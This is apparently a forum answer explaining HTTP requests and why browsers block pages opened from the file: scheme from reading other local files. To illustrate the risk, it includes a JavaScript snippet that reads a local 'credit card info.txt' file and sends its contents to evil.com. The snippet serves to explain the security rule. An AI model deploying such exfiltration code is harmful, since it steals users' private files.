First of all, an HTTP request looks like this:
GET / HTTP/1.1
Host: stackoverflow.com
… more headers …
It is received by a server, which can then decide to respond with anything. When your browser displays local pages, it doesn’t actually make any requests at all; there’s no server to receive them. It just special-cases the file: scheme and displays files.
As to why you can’t request other local files from a local file: that would be an enormous security issue. You can display other webpages from local files, so imagine: you save a webpage one day to open it later, and in it is:
<script>
var rq = new XMLHttpRequest();
rq.open('GET', 'file:///C:\\Users\\some intelligent guess\\' +
'Desktop\\credit card info.txt', false);
rq.send(null);
document.location = 'http://evil.com/save?data=' + encodeURIComponent(rq.responseText);
</script>
Easy theft. Reading local files with HTML5, on the other hand, is only possible when the user manually selects the files to be read using a file browsing dialogue. The webpage doesn’t have permission to read arbitrary files without interaction.